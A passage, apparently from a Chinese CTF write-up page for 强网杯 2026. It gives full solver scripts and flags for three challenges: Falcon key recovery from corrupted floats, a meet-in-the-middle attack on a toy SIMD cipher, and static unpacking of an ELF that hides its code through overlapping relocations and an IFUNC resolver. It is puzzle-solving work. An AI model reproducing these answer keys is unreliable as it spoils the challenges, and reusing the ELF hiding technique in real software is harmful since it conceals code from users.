python frozen_solve.py instance.txt # solve a captured transcript
python frozen_solve.py --fetch 39.96.85.161 22627
Recovers D = f*f* + g*g* (Falcon key of task.py) out of the bit-corrupted
ffSampling tree and decrypts the flag.
How the blob is laid out (after task.py chops the 4 fft() arrays = 1024 doubles):
Ltop(256 doubles) | tree(G00) | tree(Dright) | all leaves
G00 = |f_hat|^2 + |g_hat|^2 = D(rho_j), rho_j = exp(i*pi*(2j+1)/128)
Dright = G11 - |G01|^2/G00 = q^2 / G00 (because fG - gF = q)
Both trees are "real" trees: for a real array A with h = |A|/2 the stored node is
L_j = t_j * rho_j, t_j = (A[j]-A[j+h])/(A[j]+A[j+h]) in R
A[j] = E_j (1+t_j), A[j+h] = E_j (1-t_j), E_j = (A[j]+A[j+h])/2
so Im(L_j*conj(rho_j)) == 0 identifies and repairs the corrupted bits; the two
trees must be reciprocal (G00*Dright = q^2), which resolves almost every repair;
the surviving sign ambiguity is fixed by requiring D = IFFT(G00) to be integral.
"""
import hashlib
import itertools
import math
import random
import re
import socket
import sys
import numpy as np
N, Q = 128, 12289
Q2 = Q * Q
CHAIN_A = [(1, 128, 64, 256), (2, 64, 32, 384), (3, 32, 16, 448), (4, 16, 8, 480),
(5, 8, 4, 496), (6, 4, 2, 504), (7, 2, 1, 508)]
LEAF_A = 2048
CHAIN_B = [(1, 128, 64, 1152), (2, 64, 32, 1280), (3, 32, 16, 1344), (4, 16, 8, 1376),
(5, 8, 4, 1392), (6, 4, 2, 1400), (7, 2, 1, 1404)]
LEAF_B = 2176
TOL_TWIST = 1e-7 # |Im(L conj rho)|/|L| accepted without repair
RELTOL = 1e-9 # a repair must satisfy the twist relation this well
MAXFLIPS = 4 # bit toggles searched per double (noise is ~0.6/word)
MAXC = 24 # candidates kept per complex pair
def rho_of(n, j):
a = math.pi * (2 * j + 1) / n
return complex(math.cos(a), math.sin(a))
RHO = {(n, j): rho_of(n, j) for (_, n, _, _) in CHAIN_A for j in range(n // 2)}
# D_k = (1/N) sum_j G00_j rho_j^{-k}
MINV = np.exp(-1j * math.pi * np.outer(2 * np.arange(N) + 1, np.arange(N)) / N) / N
# every bit mask with up to MAXFLIPS set bits (the noise flips bits 0..55 and 63)
_m = [(0, 0)]
for _k in range(1, MAXFLIPS + 1):
for _c in itertools.combinations(range(64), _k):
_v = 0
for _b in _c:
_v |= 1 << _b
_m.append((_v, _k))
MASKS = np.array([x for x, _ in _m], dtype=np.uint64)
COUNTS = np.array([k for _, k in _m], dtype=np.int64)
def f_of(w):
return np.array([w], dtype="<u8").view("<f8")[0]
class Frozen:
def __init__(self, blob, log=print):
self.W = np.frombuffer(blob, dtype="<u8").copy()
self.log = log
# ---------------- per complex pair: all small repairs ----------------
def pair_cands(self, ri, ii, r):
"""Every (t, nflips) with L = t*rho reachable by <=MAXFLIPS toggles/word.
The corrected pair must satisfy im' = re' * tan(angle), so intersect the
two reachable float sets instead of enumerating all flip combinations."""
if abs(r.real) < 1e-13:
return []
wr, wi = int(self.W[ri]), int(self.W[ii])
with np.errstate(invalid="ignore", over="ignore"):
re_v = np.ascontiguousarray(np.uint64(wr) ^ MASKS).view("<f8")
im_v = np.ascontiguousarray(np.uint64(wi) ^ MASKS).view("<f8")
target = re_v * (r.imag / r.real)
order = np.argsort(im_v)
im_s = im_v[order]
pos = np.searchsorted(im_s, target)
tol = RELTOL * np.maximum(np.abs(target), 1e-300) + 1e-300
ha, hb = [], []
for off in (-1, 0, 1):
idx = np.clip(pos + off, 0, len(im_s) - 1)
m = np.isfinite(target) & np.isfinite(im_s[idx]) & (np.abs(im_s[idx] - target) <= tol)
if m.any():
ha.append(np.nonzero(m)[0])
hb.append(idx[m])
if not ha:
return []
A = np.concatenate(ha)
Bq = order[np.concatenate(hb)]
imsel = im_s[np.concatenate(hb)]
with np.errstate(invalid="ignore", over="ignore"):
tvals = re_v[A] * r.real + imsel * r.imag
flips = COUNTS[A] + COUNTS[Bq]
ll = np.hypot(re_v[A], imsel)
uim = np.abs(imsel * r.real - re_v[A] * r.imag)
relv = np.where(ll > 0, uim / np.maximum(ll, 1e-300), 0.0)
keep = np.isfinite(tvals) & (np.abs(tvals) <= 1 + 1e-9) # |t| = |dA|/(2E) <= 1
tvals, flips, relv = tvals[keep], flips[keep], relv[keep]
out, seen = [], set()
for idx in np.lexsort((relv, flips)): # fewest flips first
t = float(tvals[idx])
key = round(t, 12)
if key in seen:
continue
seen.add(key)
out.append((t, int(flips[idx]), float(relv[idx])))
if len(out) >= MAXC:
break
return out
def decode_chain(self, chain, tag):
"""t-vector candidates per (level, index); untouched values pass directly."""
cands, nok, nrep = {}, 0, 0
for (k, n, h, start) in chain:
for j in range(h):
ri, ii = start + j, start + h + j
r = RHO[(n, j)]
re, im = f_of(self.W[ri]), f_of(self.W[ii])
ll = math.hypot(re, im)
u_im = im * r.real - re * r.imag
rel = abs(u_im) / ll if (np.isfinite(ll) and ll > 0) else float("inf")
t = re * r.real + im * r.imag
if rel <= TOL_TWIST:
cands[(k, j)] = [(float(t), 0, rel)]
nok += 1
else:
cands[(k, j)] = self.pair_cands(ri, ii, r) or [(float(t), 9, rel)]
nrep += 1
amb = [p for p, c in cands.items() if len(c) > 1]
self.log(f" chain {tag}: clean={nok} repaired={nrep} ambiguous={len(amb)}")
return cands, amb
# ---------------- reconstruction ----------------
@staticmethod
def recon(chain, ts, leaf):
E = np.array([complex(leaf)])
for (k, n, h, st) in reversed(chain):
t = ts[k]
up = np.zeros(2 * h, dtype=complex)
up[:h] = E * (1 + t)
up[h:] = E * (1 - t)
E = up
return E
@staticmethod
def ts_of(chain, choice, base):
ts = {k: np.zeros(h) for (k, n, h, s) in chain}
for (k, j), v in base.items():
ts[k][j] = v
for (k, j), v in choice.items():
ts[k][j] = v
return ts
def leaf_cands(self):
"""D[0] = sum(f^2) + sum(g^2) ~ 2*N*sigma^2 ~ 1e5 and is an integer."""
w0 = int(self.W[LEAF_A])
raw = f_of(self.W[LEAF_A])
bits = [1 << b for b in range(64)]
opts = [0] + bits + [a | b for a, b in itertools.combinations(bits, 2)]
out, seen = [], set()
for mm in opts:
if mm in seen:
continue
seen.add(mm)
v = f_of(np.uint64(w0 ^ mm))
if not (np.isfinite(v) and 1e4 < v < 1e7 and abs(v - round(v)) < 1e-6):
continue
if any(abs(v - x) <= 1e-9 * max(1.0, abs(x)) for x in out):
continue
out.append(float(v))
out.sort(key=lambda v: abs(v - raw))
return out[:5]
# ---------------- the two trees must be reciprocal ----------------
def energy(self, chA, chB, leafA, fixA, fixB):
GA = self.recon(CHAIN_A, self.ts_of(CHAIN_A, chA, fixA), leafA)
leafB = float(np.mean(np.real(Q2 / np.real(GA)))) # mean(Dright)
DB = self.recon(CHAIN_B, self.ts_of(CHAIN_B, chB, fixB), leafB)
return float(np.abs(np.real(GA) * np.real(DB) / Q2 - 1.0).sum())
def descent(self, chA, chB, leafA, fixA, fixB, ambA, ambB, cA, cB, rounds=10):
for _ in range(rounds):
changed = False
for p in ambA:
cur = chA[p]
GA = self.recon(CHAIN_A, self.ts_of(CHAIN_A, chA, fixA), leafA)
leafB = float(np.mean(np.real(Q2 / np.real(GA))))
DB = self.recon(CHAIN_B, self.ts_of(CHAIN_B, chB, fixB), leafB)
bv, bs = cur, float(np.abs(np.real(GA) * np.real(DB) / Q2 - 1.0).sum())
for (t, _s, _r) in cA[p]:
if t == cur:
continue
chA[p] = t
e = self.energy(chA, chB, leafA, fixA, fixB)
if e < bs:
bv, bs = t, e
chA[p] = bv
changed |= (bv != cur)
for p in ambB:
cur = chB[p]
GA = self.recon(CHAIN_A, self.ts_of(CHAIN_A, chA, fixA), leafA)
leafB = float(np.mean(np.real(Q2 / np.real(GA))))
DB = self.recon(CHAIN_B, self.ts_of(CHAIN_B, chB, fixB), leafB)
bv, bs = cur, float(np.abs(np.real(GA) * np.real(DB) / Q2 - 1.0).sum())
for (t, _s, _r) in cB[p]:
if t == cur:
continue
chB[p] = t
D2 = self.recon(CHAIN_B, self.ts_of(CHAIN_B, chB, fixB), leafB)
e = float(np.abs(np.real(GA) * np.real(D2) / Q2 - 1.0).sum())
if e < bs:
bv, bs = t, e
chB[p] = bv
changed |= (bv != cur)
if not changed:
break
return chA, chB
def anneal(self, seed, ambA, ambB, cA, cB, fixA, fixB, leafA, steps=8000):
rng = random.Random(seed)
chA = {p: cA[p][0][0] for p in ambA}
chB = {p: cB[p][0][0] for p in ambB}
chA, chB = self.descent(chA, chB, leafA, fixA, fixB, ambA, ambB, cA, cB)
cur = self.energy(chA, chB, leafA, fixA, fixB)
best = (cur, dict(chA), dict(chB))
T0, T1 = 3.0, 0.02
for st in range(steps):
T = T0 * (T1 / T0) ** (st / steps)
if st % 200 == 0:
chA, chB = self.descent(chA, chB, leafA, fixA, fixB, ambA, ambB, cA, cB, rounds=3)
cur = self.energy(chA, chB, leafA, fixA, fixB)
if cur < best[0]:
best = (cur, dict(chA), dict(chB))
which = rng.random() < 0.5
grp = ambA if which else ambB
p = grp[rng.randrange(len(grp))]
cands = cA[p] if which else cB[p]
if len(cands) < 2:
continue
tgt = chA if which else chB
old = tgt[p]
new = cands[rng.randrange(len(cands))][0]
if new == old:
continue
tgt[p] = new
e = self.energy(chA, chB, leafA, fixA, fixB)
if e <= cur or rng.random() < math.exp(-(e - cur) / max(T, 1e-9)):
cur = e
else:
tgt[p] = old
chA, chB = self.descent(chA, chB, leafA, fixA, fixB, ambA, ambB, cA, cB, rounds=8)
cur = self.energy(chA, chB, leafA, fixA, fixB)
if cur < best[0]:
best = (cur, dict(chA), dict(chB))
return best
# ---------------- final: integrality of D ----------------
def polish(self, chA, fixA, leafA, ambA, cA, maxk=2):
"""The joint swap G00_j<->G00_{j+h} + Dright_j<->Dright_{j+h} is invisible
to the two-tree test, so settle the leftover signs on D = IFFT(G00)."""
GA0 = self.recon(CHAIN_A, self.ts_of(CHAIN_A, chA, fixA), leafA)
D0 = np.real(GA0 @ MINV)
best = (float(np.max(np.abs(D0 - np.round(D0)))), [])
opts = []
for p in ambA:
cur = chA[p]
for (t, _s, _r) in cA[p]:
if t == cur:
continue
ch2 = dict(chA)
ch2[p] = t
dz = (np.real(self.recon(CHAIN_A, self.ts_of(CHAIN_A, ch2, fixA), leafA))
- np.real(GA0)) @ MINV
opts.append((dz, p, t))
for (dz, p, t) in opts:
r = float(np.max(np.abs(D0 + dz - np.round(D0 + dz))))
if r < best[0]:
best = (r, [(p, t)])
if best[0] > 1e-6 and maxk >= 2:
for i in range(len(opts)):
vi = D0 + opts[i][0]
for j in range(i + 1, len(opts)):
if opts[i][1] == opts[j][1]:
continue
v = vi + opts[j][0]
r = float(np.max(np.abs(v - np.round(v))))
if r < best[0]:
best = (r, [(opts[i][1], opts[i][2]), (opts[j][1], opts[j][2])])
if best[0] < 1e-6:
break
if best[0] < 1e-6:
break
return best
# ---------------- driver ----------------
def solve(self, annego=6):
cA, ambA = self.decode_chain(CHAIN_A, "A (G00)")
cB, ambB = self.decode_chain(CHAIN_B, "B (q^2/G00)")
fixA = {p: c[0][0] for p, c in cA.items() if len(c) == 1}
fixB = {p: c[0][0] for p, c in cB.items() if len(c) == 1}
leavesA = self.leaf_cands()
self.log(f" leafA candidates {leavesA[:3]}")
best = None
for leafA in leavesA:
for seed in range(annego):
e, chA, chB = self.anneal(seed, ambA, ambB, cA, cB, fixA, fixB, leafA)
r, chg = self.polish(chA, fixA, leafA, ambA, cA)
self.log(f" leaf={leafA!r} seed={seed}: energy={e:.2e} residual={r:.2e} "
f"({len(chg)} sign fixes)")
if best is None or r < best[0]:
best = (r, dict(chA), leafA, chg)
if r < 1e-6:
break
if best[0] < 1e-6:
break
r, chA, leafA, chg = best
for (p, t) in chg:
chA[p] = t
GA = self.recon(CHAIN_A, self.ts_of(CHAIN_A, chA, fixA), leafA)
D = np.real(GA @ MINV)
res = float(np.max(np.abs(D - np.round(D))))
self.log(f" integrality residual {res:.3e}, max|D| {int(np.abs(np.round(D)).max())}")
return np.round(D).astype(np.int64), res
def keystream(key, length):
out, ctr = b"", 0
while len(out) < length:
out += hashlib.sha256(key + ctr.to_bytes(4, "big")).digest()
ctr += 1
return out[:length]
def decrypt(D, ct):
fk = hashlib.sha256(b"frozen:" + ",".join(str(int(c)) for c in D).encode()).digest()
return bytes(a ^ b for a, b in zip(ct, keystream(fk, len(ct))))
def fetch(host, port):
s = socket.create_connection((host, int(port)), timeout=30)
s.settimeout(5)
buf = b""
while True:
try:
d = s.recv(65536)
except socket.timeout:
break
if not d:
break
buf += d
s.close()
return buf.decode(errors="replace")
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "--fetch":
txt = fetch(sys.argv[2], sys.argv[3])
else:
txt = open(sys.argv[1] if len(sys.argv) > 1 else "instance.txt", "rt").read()
mem = bytes.fromhex(re.search(r"memory\s*=\s*([0-9a-f]+)", txt).group(1).strip())
ct = bytes.fromhex(re.search(r"flag\s*=\s*([0-9a-f]+)", txt).group(1).strip())
print(f"blob {len(mem)}B, ciphertext {len(ct)}B")
D, res = Frozen(mem, log=print).solve()
print("residual", res)
print("D =", [int(x) for x in D])
print("FLAG:", decrypt(D, ct).decode(errors="replace"))vmshare
题解
反汇编 encryptor → 还原 gen() 和 16-lane 块函数 → 在两个 8 字块的边界做 Meet-in-the-Middle（2²⁴ × 2²⁴），得到
v1 = 0x174812
v2 = 0x1AF718而 gen() 里 and eax, 0xffffff 只用了每组 24 bit，所以 flag 是 flag{?174812_?1AF718}，共 256 个候选，其一为官方答案，最后flag前缀为3。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
vmshare (强网杯 2026) 完整解题脚本 —— 单文件可运行
用法:
python solve_vmshare.py # 完整 MITM，约 1 分钟（命中即停，最坏 3~4 分钟）
python solve_vmshare.py --verify # 求解后再做一次“加密回代”校验
python solve_vmshare.py --all # 额外打印 256 个候选 flag
依赖: numpy（必需）；angr（可选，仅 --angr-verify 时用真实二进制做端到端验证）
"""
import sys, os, time, struct
import numpy as np
if hasattr(sys.stdout, "reconfigure"):
sys.stdout.reconfigure(encoding="utf-8", errors="replace")
# ----------------------------------------------------------------------------
# 0. 常量（全部从 encryptor 的 .rodata 里抠出来）
# ----------------------------------------------------------------------------
CIPHER_PATH = os.environ.get("CIPHER", r"C:\Users\Lufer\Downloads\qiangwang\crypto1\cipher.bin")
if "--cipher" in sys.argv:
CIPHER_PATH = sys.argv[sys.argv.index("--cipher") + 1]
if not os.path.exists(CIPHER_PATH):
CIPHER_PATH = "cipher.bin"
# 0xa60: 16 个 lane 的加法常数
C = np.array([0x1357, 0x2468, 0x369c, 0x48ad, 0x5be1, 0x6cf2, 0x7d03, 0x8e14,
0x9f25, 0xa036, 0xb147, 0xc258, 0xd369, 0xe47a, 0xf58b, 0x069c],
dtype=np.uint16)
C32 = C.astype(np.uint32)
# 0xa80: 初始状态 "SIMD_TINY_BLOCK_IS_A_NIGHTMARE!!" 的 16 个小端 word
INIT = np.frombuffer(b"SIMD_TINY_BLOCK_IS_A_NIGHTMARE!!", dtype="<u2").copy()
SEED1 = 0x31415926 # π 的数字，用于第一组
SEED2 = 0x27182818 # e 的数字，用于第二组
# ----------------------------------------------------------------------------
# 1. 16-bit 基础运算
# ----------------------------------------------------------------------------
def rotl(x, n):
x = x.astype(np.uint32)
return (((x << np.uint32(n)) | (x >> np.uint32(16 - n))) & np.uint32(0xFFFF)).astype(np.uint16)
def rotr(x, n):
x = x.astype(np.uint32)
return (((x >> np.uint32(n)) | (x << np.uint32(16 - n))) & np.uint32(0xFFFF)).astype(np.uint16)
def inv_h7(y):
"""x ^ (x >> 7) 的逆（2*7 >= 16，所以只有三项）"""
return (y ^ (y >> np.uint16(7)) ^ (y >> np.uint16(14))).astype(np.uint16)
def inv_h5(y):
"""x ^ (x >> 5) 的逆：y ^ y>>5 ^ y>>10 ^ y>>15"""
return (y ^ (y >> np.uint16(5)) ^ (y >> np.uint16(10)) ^ (y >> np.uint16(15))).astype(np.uint16)
# ----------------------------------------------------------------------------
# 2. gen(): 24-bit v -> 8 个 16-bit 字
# 注意两个坑：
# (1) 开头 and eax,0xffffff —— 只取低 24 bit
# (2) 循环里作为“进位”传下去的是 u = t ^ (t>>16)，
# 写出的字才是 u ^ (u>>16)
# ----------------------------------------------------------------------------
def gen(v, seed):
v = np.asarray(v, dtype=np.uint32)
x = ((v & np.uint32(0xFFFFFF)) ^ np.uint32(seed)).astype(np.uint32)
x = x ^ (x >> np.uint32(13))
x = (x * np.uint32(0x45D9F3B)).astype(np.uint32)
x = x ^ (x >> np.uint32(16))
i = np.uint32(0)
out = []
for _ in range(8):
x = (x + i + np.uint32(0x9E3779B9)).astype(np.uint32) # x + i - 0x61C88647
i = (i + np.uint32(0x7F4A7C15)).astype(np.uint32) # 8 轮后正好 0xFA53E0A8
t = x ^ (x >> np.uint32(13))
t = (t * np.uint32(0x85EBCA6B)).astype(np.uint32)
u = (t ^ (t >> np.uint32(16))).astype(np.uint32)
out.append(((u ^ (u >> np.uint32(16))) & np.uint32(0xFFFF)).astype(np.uint16))
x = u
return out
# ----------------------------------------------------------------------------
# 3. block(): 16 lane 上的 8 字变换
# 每个 block 开头状态 ^= 状态>>5（premix）；
# 第 p 个字（p=0..6）做完 rotl9(h7(x)) 后还要 ^= >>5，
# 第 7 个字不再做这一步（对应 0x1e74 之后直接返回）。
# ----------------------------------------------------------------------------
def rnd_fwd(s, w, last):
x = ((w.astype(np.uint32)[:, None] + C32[None, :] + rotl(s, 3).astype(np.uint32))
& np.uint32(0xFFFF)).astype(np.uint16)
B = rotl((x ^ (x >> np.uint16(7))).astype(np.uint16), 9)
return B if last else (B ^ (B >> np.uint16(5))).astype(np.uint16)
def block_fwd(s, ws):
s = (s ^ (s >> np.uint16(5))).astype(np.uint16) # premix
for p in range(8):
s = rnd_fwd(s, ws[p], p == 7)
return s
def rnd_inv(s, w, last):
B = s if last else inv_h5(s)
x = inv_h7(rotr(B, 9))
u = rotr((x.astype(np.uint32) - w.astype(np.uint32)[:, None] - C32[None, :])
& np.uint32(0xFFFF), 3)
return u # u 就是上一轮的状态；premix 在 block_inv 末尾统一撤销
def block_inv(s, ws):
for p in range(7, -1, -1):
s = rnd_inv(s, ws[p], p == 7)
return inv_h5(s) # 撤销 premix
# ----------------------------------------------------------------------------
# 4. 加密 / 块边界状态
# ----------------------------------------------------------------------------
def s1_forward(v):
"""第一块（用 SEED1）的输出，即两块之间的共享状态 S1"""
s = np.tile(INIT[None, :], (len(v), 1))
return block_fwd(s, gen(v, SEED1))
def s1_backward(v, final):
"""从密文逆推第二块，得到 S1"""
s = np.tile(final[None, :], (len(v), 1))
return block_inv(s, gen(v, SEED2))
def encrypt(v1, v2):
"""完整加密，返回 16 个 uint16 word"""
s = np.tile(INIT[None, :], (np.atleast_1d(v1).shape[0], 1))
s = block_fwd(s, gen(v1, SEED1))
s = block_fwd(s, gen(v2, SEED2))
return s
# ----------------------------------------------------------------------------
# 5. MITM：对 S1 做 40-bit 指纹，key = (fp << 24) | v1
# ----------------------------------------------------------------------------
K = np.array([0x9E3779B97F4A7C15, 0xBF58476D1CE4E5B9, 0x94D049BB133111EB,
0x2545F4914F6CDD1D, 0xD6E8FEB86659FD93, 0xA0761D6478BD642F,
0xE7037ED1A0B428DB, 0x8EBC6AF09C88C6E3, 0x589965CC75374CC3,
0x1D8E4E27C47D124F, 0xEB44ACCAB455D165, 0xC2B2AE3D27D4EB4F,
0x165667B19E3779F9, 0x85EBCA77C2B2AE63, 0x27D4EB2F165667C5,
0x9E3779B185EBCA87], dtype=np.uint64)
FP_MASK = np.uint64(0xFFFFFFFFFF) # 40 bit
def fingerprint(s):
acc = np.zeros(s.shape[0], dtype=np.uint64)
for l in range(16):
acc = acc + s[:, l].astype(np.uint64) * K[l]
return acc & FP_MASK
def solve(final, N=1 << 24, CH=1 << 20, verbose=True):
t0 = time.time()
keys, v1s = [], []
for start in range(0, N, CH):
v = np.arange(start, min(start + CH, N), dtype=np.uint32)
fp = fingerprint(s1_forward(v))
keys.append((fp << np.uint64(24)) | v.astype(np.uint64))
if verbose:
print(f" forward {start + len(v):>8}/{N} {time.time() - t0:6.1f}s", flush=True)
keys = np.concatenate(keys)
keys.sort()
if verbose:
print(f" sort done {time.time() - t0:.1f}s", flush=True)
for start in range(0, N, CH):
v2 = np.arange(start, min(start + CH, N), dtype=np.uint32)
fp = fingerprint(s1_backward(v2, final))
lo = fp << np.uint64(24)
idx = np.searchsorted(keys, lo)
valid = idx < len(keys)
if valid.any():
idxv, fpv, v2v = idx[valid], fp[valid], v2[valid]
hit = (keys[idxv] >> np.uint64(24)) == fpv
for k in np.nonzero(hit)[0]:
j = int(idxv[k])
while j < len(keys) and (keys[j] >> np.uint64(24)) == fpv[k]:
v1 = int(keys[j] & np.uint64(0xFFFFFF))
v2c = int(v2v[k])
s1 = s1_forward(np.array([v1], dtype=np.uint32))[0]
s2 = s1_backward(np.array([v2c], dtype=np.uint32), final)[0]
if np.array_equal(s1, s2):
if verbose:
print(f" HIT v1={v1:#08x} v2={v2c:#08x} {time.time() - t0:.1f}s")
return v1, v2c
j += 1
if verbose and start % (CH * 4) == 0:
print(f" backward {start:>8}/{N} {time.time() - t0:6.1f}s", flush=True)
return None
# ----------------------------------------------------------------------------
# 6. 主流程
# ----------------------------------------------------------------------------
def main():
data = open(CIPHER_PATH, "rb").read()
final = np.frombuffer(data, dtype="<u2").astype(np.uint16)
print("cipher.bin :", data.hex())
print("state :", " ".join(f"{int(x):04x}" for x in final))
res = solve(final)
if res is None:
print("no solution"); return
v1, v2 = res
print(f"\n[*] v1 = {v1:#08x} ({v1})")
print(f"[*] v2 = {v2:#08x} ({v2})")
print(f"[*] 明文参数 = ({v1:#x}, {v2:#x})，即每组 7 位十六进制")
# 加密回代（用同一模型）
if "--verify" in sys.argv:
words = encrypt(np.array([v1], dtype=np.uint32),
np.array([v2], dtype=np.uint32))[0]
ct = struct.pack("<16H", *[int(x) for x in words])
print("[*] re-encrypt:", ct.hex())
print("[*] equals cipher.bin:", ct == data)
# 256 个候选
HEX = "0123456789ABCDEF"
cands = [f"flag{{{a}{v1:06X}_{b}{v2:06X}}}" for a in HEX for b in HEX]
print(f"\n[*] flag 必为 flag{{?{v1:06X}_?{v2:06X}}}，共 {len(cands)} 个候选：")
if "--all" in sys.argv:
for c in cands:
print(" ", c)
else:
print(" 例如:", cands[0], "...", cands[-1], "（加 --all 全部打印）")
print("\n[*] 注意: gen() 里 and eax,0xffffff 只用了 24 bit，")
print(" 所以每组高 4 bit 不进入密文，256 个候选密文相同。")
if __name__ == "__main__":
main()Reverse
ELFStudy
题解
1. 程序表面是 ELF 查看器，真正逻辑藏在节区之外，通过重叠重定位修改符号表、触发隐藏的 IFUNC resolver。
2. 还原 resolver 后，解开倒序滚动 XOR 加密的代码，得到 flag 校验逻辑。
3. 校验要求 flag{32位十六进制}，内部使用 30 轮 Feistel 变换；逆向运算得到上述结果。
"""Recover ELFStudy's flag statically; never execute the supplied ELF."""
import argparse
import hashlib
from pathlib import Path
import struct
MASK64 = (1 << 64) - 1
DELTA = 0x9E3779B97F4A7C15
def rotate_left(value, count):
return ((value << count) | (value >> (64 - count))) & MASK64
def restore_payload(original):
data = bytearray(original)
for offset in range(0x1388, 0x13E8, 24):
target, kind, addend = struct.unpack_from("<QQQ", data, offset)
if kind != 8:
raise ValueError("Unexpected initial relocation")
struct.pack_into("<Q", data, target, addend)
data[0x894:0x8A2] = data[0x1D30:0x1D3E]
_, info, _, section, address, size = struct.unpack_from("<IBBHQQ", data, 0x890)
if (info, section, address, size) != (0, 1, 0x1988, 0x390):
raise ValueError("Unexpected relocation-table COPY source")
data[0x15E0:0x1970] = data[address:address + size]
decrypted = False
for offset in range(0x15E0, 0x1970, 24):
target, info, addend = struct.unpack_from("<QQQ", data, offset)
kind, symbol = info & 0xFFFFFFFF, info >> 32
symbol_address = 0x3F8 + symbol * 24
if kind == 0:
continue
if kind == 33:
value = struct.unpack_from("<Q", data, symbol_address + 16)[0]
elif kind == 8:
value = 0
elif kind == 1:
if data[symbol_address + 4] & 15 == 10:
if (symbol, target) != (55, 0x7386):
raise ValueError("Unexpected IFUNC relocation")
accumulator = 0
for index in range(0xCB, 0, -1):
address = 0x7396 + 4 * index
word = struct.unpack_from("<I", data, address)[0] ^ accumulator
if word == 0:
raise ValueError("Payload decoder aborted")
struct.pack_into("<I", data, address, word)
accumulator = (accumulator + word) & 0xFFFFFFFF
decrypted = True
continue
value = struct.unpack_from("<Q", data, symbol_address + 8)[0]
elif kind == 5 and target == 0x15E0:
# The final COPY restores the ordinary PLT relocation table.
continue
else:
raise ValueError(f"Unsupported relocation: {kind}, symbol {symbol}")
struct.pack_into("<Q", data, target, (value + addend) & MASK64)
if not decrypted or data[0x739A:0x739E] != bytes.fromhex("f3 0f 1e fa"):
raise ValueError("Hidden payload was not restored")
if data[0x76B6:0x76C4] != b"flag accepted\n":
raise ValueError("Unexpected success marker")
return data
def round_function(value, key):
mixed = rotate_left((value + key) & MASK64, 13) ^ rotate_left(value, 29)
return (mixed + rotate_left(value, 47)) & MASK64
def recover_flag(data):
words = struct.unpack_from("<QQQQ", data, 0x7686)
whitening = (words[0] ^ words[1], words[2] ^ words[3])
keys = [0, 0, *whitening]
for index in range(2, 32):
next_key = (
rotate_left((keys[index + 1] + keys[index]) & MASK64, 13)
^ rotate_left(keys[index], 57)
^ ((index * DELTA) & MASK64)
)
keys.append(next_key)
target = struct.unpack_from("<QQ", data, 0x76A6)
left, right = target
for key in reversed(keys[4:34]):
left, right = right ^ round_function(left, key), left
plaintext = struct.pack("<QQ", left ^ whitening[0], right ^ whitening[1])
flag = "flag{" + plaintext.hex() + "}"
# Independently follow the payload's forward checks, including text shape.
if len(flag) != 38 or flag[:5] != "flag{" or flag[37] != "}":
raise ValueError("Flag shape verification failed")
left, right = struct.unpack("<QQ", bytes.fromhex(flag[5:37]))
left ^= whitening[0]
right ^= whitening[1]
for key in keys[4:34]:
left, right = right, left ^ round_function(right, key)
if (left, right) != target:
raise ValueError("Forward flag verification failed")
return flag, target, whitening
def main():
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("input", type=Path)
args = parser.parse_args()
original = args.input.read_bytes()
if len(original) != 43304 or original[:6] != b"\x7fELF\x02\x01":
raise ValueError("Expected the supplied 43304-byte ELF64 little-endian image")
data = restore_payload(original)
flag, target, whitening = recover_flag(data)
print(f"Input: {args.input}")
print(f"SHA256: {hashlib.sha256(original).hexdigest()}")
print(f"Whitening keys: {whitening[0]:016x} {whitening[1]:016x}")
print(f"Target: {target[0]:016x} {target[1]:016x}")
print("Verification: flag format and all 30 forward rounds match")
print(flag)
if __name__ == "__main__":
main()
暂无评论
发表评论